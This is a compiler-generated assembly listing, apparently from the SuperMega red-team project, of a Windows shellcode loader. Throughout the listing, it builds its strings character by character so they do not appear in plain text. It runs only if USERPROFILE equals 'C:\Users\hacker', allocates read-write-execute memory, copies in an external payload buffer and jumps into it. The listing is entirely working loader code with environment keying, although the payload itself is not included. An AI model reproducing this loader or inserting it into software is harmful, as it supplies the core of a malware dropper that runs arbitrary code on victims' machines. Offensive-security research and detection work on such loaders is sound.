mirror of
https://github.com/dobin/SuperMega
synced 2026-06-02 17:27:10 +00:00
Dobin
215 lines
4.9 KiB
NASM
215 lines
4.9 KiB
NASM
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.37.32822.0
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include listing.inc
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INCLUDELIB LIBCMT
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INCLUDELIB OLDNAMES
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_DATA SEGMENT
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COMM supermega_payload:QWORD
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_DATA ENDS
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PUBLIC main
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PUBLIC mystrcmp
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EXTRN __imp_GetEnvironmentVariableW:PROC
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EXTRN __imp_VirtualAlloc:PROC
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pdata SEGMENT
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$pdata$main DD imagerel $LN8
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DD imagerel $LN8+453
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DD imagerel $unwind$main
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$pdata$mystrcmp DD imagerel $LN6
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DD imagerel $LN6+109
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DD imagerel $unwind$mystrcmp
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pdata ENDS
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xdata SEGMENT
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$unwind$main DD 020701H
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DD 010f0107H
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$unwind$mystrcmp DD 010e01H
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DD 0220eH
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xdata ENDS
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; Function compile flags: /Odtp
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_TEXT SEGMENT
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i$ = 0
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str1$ = 32
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str2$ = 40
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mystrcmp PROC
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; File C:\Users\hacker\source\repos\supermega\build\main.c
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; Line 37
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$LN6:
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mov QWORD PTR [rsp+16], rdx
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mov QWORD PTR [rsp+8], rcx
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sub rsp, 24
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; Line 38
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mov DWORD PTR i$[rsp], 0
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$LN2@mystrcmp:
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; Line 39
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movsxd rax, DWORD PTR i$[rsp]
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mov rcx, QWORD PTR str1$[rsp]
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movzx eax, WORD PTR [rcx+rax*2]
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test eax, eax
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je SHORT $LN3@mystrcmp
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movsxd rax, DWORD PTR i$[rsp]
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mov rcx, QWORD PTR str2$[rsp]
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movzx eax, WORD PTR [rcx+rax*2]
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test eax, eax
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je SHORT $LN3@mystrcmp
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; Line 40
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movsxd rax, DWORD PTR i$[rsp]
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mov rcx, QWORD PTR str1$[rsp]
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movzx eax, WORD PTR [rcx+rax*2]
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movsxd rcx, DWORD PTR i$[rsp]
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mov rdx, QWORD PTR str2$[rsp]
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movzx ecx, WORD PTR [rdx+rcx*2]
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cmp eax, ecx
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je SHORT $LN4@mystrcmp
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; Line 41
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mov eax, 1
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jmp SHORT $LN1@mystrcmp
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$LN4@mystrcmp:
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; Line 43
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mov eax, DWORD PTR i$[rsp]
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inc eax
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mov DWORD PTR i$[rsp], eax
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; Line 44
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jmp SHORT $LN2@mystrcmp
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$LN3@mystrcmp:
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; Line 45
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xor eax, eax
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$LN1@mystrcmp:
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; Line 46
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add rsp, 24
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ret 0
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mystrcmp ENDP
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_TEXT ENDS
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; Function compile flags: /Odtp
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_TEXT SEGMENT
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n$1 = 32
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envVarName$ = 40
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tocheck$ = 64
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result$ = 96
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dest$ = 104
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buffer$ = 112
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main PROC
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; File C:\Users\hacker\source\repos\supermega\build\main.c
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; Line 6
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$LN8:
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sub rsp, 2168 ; 00000878H
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; Line 8
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mov eax, 85 ; 00000055H
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mov WORD PTR envVarName$[rsp], ax
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mov eax, 83 ; 00000053H
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mov WORD PTR envVarName$[rsp+2], ax
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mov eax, 69 ; 00000045H
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mov WORD PTR envVarName$[rsp+4], ax
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mov eax, 82 ; 00000052H
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mov WORD PTR envVarName$[rsp+6], ax
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mov eax, 80 ; 00000050H
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mov WORD PTR envVarName$[rsp+8], ax
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mov eax, 82 ; 00000052H
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mov WORD PTR envVarName$[rsp+10], ax
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mov eax, 79 ; 0000004fH
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mov WORD PTR envVarName$[rsp+12], ax
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mov eax, 70 ; 00000046H
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mov WORD PTR envVarName$[rsp+14], ax
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mov eax, 73 ; 00000049H
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mov WORD PTR envVarName$[rsp+16], ax
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mov eax, 76 ; 0000004cH
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mov WORD PTR envVarName$[rsp+18], ax
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mov eax, 69 ; 00000045H
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mov WORD PTR envVarName$[rsp+20], ax
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xor eax, eax
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mov WORD PTR envVarName$[rsp+22], ax
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; Line 9
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mov eax, 67 ; 00000043H
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mov WORD PTR tocheck$[rsp], ax
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mov eax, 58 ; 0000003aH
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mov WORD PTR tocheck$[rsp+2], ax
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mov eax, 92 ; 0000005cH
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mov WORD PTR tocheck$[rsp+4], ax
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mov eax, 85 ; 00000055H
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mov WORD PTR tocheck$[rsp+6], ax
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mov eax, 115 ; 00000073H
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mov WORD PTR tocheck$[rsp+8], ax
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mov eax, 101 ; 00000065H
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mov WORD PTR tocheck$[rsp+10], ax
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mov eax, 114 ; 00000072H
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mov WORD PTR tocheck$[rsp+12], ax
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mov eax, 115 ; 00000073H
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mov WORD PTR tocheck$[rsp+14], ax
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mov eax, 92 ; 0000005cH
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mov WORD PTR tocheck$[rsp+16], ax
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mov eax, 104 ; 00000068H
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mov WORD PTR tocheck$[rsp+18], ax
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mov eax, 97 ; 00000061H
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mov WORD PTR tocheck$[rsp+20], ax
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mov eax, 99 ; 00000063H
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mov WORD PTR tocheck$[rsp+22], ax
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mov eax, 107 ; 0000006bH
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mov WORD PTR tocheck$[rsp+24], ax
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mov eax, 101 ; 00000065H
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mov WORD PTR tocheck$[rsp+26], ax
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mov eax, 114 ; 00000072H
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mov WORD PTR tocheck$[rsp+28], ax
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xor eax, eax
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mov WORD PTR tocheck$[rsp+30], ax
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; Line 11
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mov r8d, 1024 ; 00000400H
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lea rdx, QWORD PTR buffer$[rsp]
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lea rcx, QWORD PTR envVarName$[rsp]
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call QWORD PTR __imp_GetEnvironmentVariableW
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mov DWORD PTR result$[rsp], eax
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; Line 12
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cmp DWORD PTR result$[rsp], 0
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jne SHORT $LN5@main
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; Line 13
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mov eax, 6
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jmp SHORT $LN1@main
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$LN5@main:
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; Line 15
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lea rdx, QWORD PTR tocheck$[rsp]
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lea rcx, QWORD PTR buffer$[rsp]
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call mystrcmp
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test eax, eax
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je SHORT $LN6@main
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; Line 16
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mov eax, 6
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jmp SHORT $LN1@main
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$LN6@main:
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; Line 21
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mov r9d, 64 ; 00000040H
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mov r8d, 12288 ; 00003000H
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mov edx, 4096 ; 00001000H
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xor ecx, ecx
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call QWORD PTR __imp_VirtualAlloc
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mov QWORD PTR dest$[rsp], rax
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; Line 27
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mov DWORD PTR n$1[rsp], 0
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jmp SHORT $LN4@main
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$LN2@main:
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mov eax, DWORD PTR n$1[rsp]
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inc eax
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mov DWORD PTR n$1[rsp], eax
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$LN4@main:
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cmp DWORD PTR n$1[rsp], 11223344 ; 00ab4130H
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jge SHORT $LN3@main
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; Line 28
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movsxd rax, DWORD PTR n$1[rsp]
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movsxd rcx, DWORD PTR n$1[rsp]
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mov rdx, QWORD PTR dest$[rsp]
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mov r8, QWORD PTR supermega_payload
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movzx eax, BYTE PTR [r8+rax]
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mov BYTE PTR [rdx+rcx], al
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; Line 29
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jmp SHORT $LN2@main
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$LN3@main:
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; Line 32
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call QWORD PTR dest$[rsp]
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; Line 34
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xor eax, eax
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$LN1@main:
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; Line 35
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add rsp, 2168 ; 00000878H
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ret 0
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main ENDP
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_TEXT ENDS
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END
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